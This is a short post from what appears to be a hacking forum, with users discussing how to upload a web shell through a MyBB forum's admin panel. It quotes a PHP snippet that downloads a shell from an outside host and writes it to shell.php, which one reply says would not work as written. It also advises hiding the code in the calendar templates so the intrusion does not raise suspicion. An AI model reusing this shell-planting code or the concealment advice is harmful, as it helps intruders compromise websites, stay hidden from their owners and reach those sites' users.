RE: Uploading a shell via the MyBB admin panel. 02-18-2014, 09:49 PM
#5
(02-18-2014, 06:33 PM)3SidedSquare Wrote:I'm sure there are better ways, but this is what I came up with off the top of my head.Code:function doit() { <?php $shelly= file_get_contents('http://www.yourdomain.com/yourshell.txt'); file_put_contents("shell.php", $shelly); echo $shelly; ?> } echo "<input type=\"text\" onkeypress=\"doit()\" width=0 height=0>";
That wouldn't work. Once in the browser, there's no access to PHP functions without JavaScript.
(02-18-2014, 06:12 PM)Satan Wrote: How would you switch it back to the normal calendar so it doesn't raise suspicion, just saving the original text of the file itself?
Or does it not overwrite the calendar?
You could include the code at the top of the calendar templates.
(This post was last modified: 02-18-2014, 09:49 PM by Lain.)







![[+]](https://sinister.li/images/modern/collapse_collapsed.png)